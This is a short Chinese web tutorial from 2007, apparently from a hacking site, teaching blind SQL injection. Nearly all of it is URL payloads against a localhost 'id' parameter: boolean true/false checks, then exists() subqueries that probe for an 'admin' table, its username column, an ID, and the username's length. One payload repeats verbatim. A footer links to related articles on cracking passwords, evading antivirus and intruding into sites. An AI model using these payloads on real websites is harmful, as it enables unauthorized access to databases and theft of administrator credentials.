简单学习理解掌握SQL注入技术！

新客网 XKER.COM 2007-03-20 来源： 收藏本文

检测可否注入

http://127.0.0.1/xx?id=11 and 1=1 (正常页面)

http://127.0.0.1/xx?id=11 and 1=2 (出错页面)


检测表段的


http://127.0.0.1/xx?id=11 and exists (select * from admin)


检测字段的


http://127.0.0.1/xx?id=11 and exists (select username from admin)


检测ID


http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)


检测长度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


检测长度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

• ·CRLF注入攻击的原理和其防范措施
• ·安全性与密码相对强度的暗战
• ·介绍Hacker突破防火墙的技术方法
• ·黑客入侵指定网站的一些方法介绍
• ·免杀技术之特征码修改常识
• ·破解U盘加密工具的加密原理
• ·告诉你最经典的黑客技术入门知识
• ·详述破解技术中的暴力破解原理
• ·交换环境下SNIFFER的攻击技术手段
• ·十个常用破解网络密码的方法
• ·一些黑客入侵时所经常用到的命令
• ·黑客网吧入侵所用到的命令与技巧
• ·最新漏洞！拿到动网8.1后台权限（图）
• ·解燃眉之急 教你5种常用密码破解办法
• ·黑客侦察目标的常用几种技术
• ·肉鸡的俘虏！一个菜鸟木马黑客的自白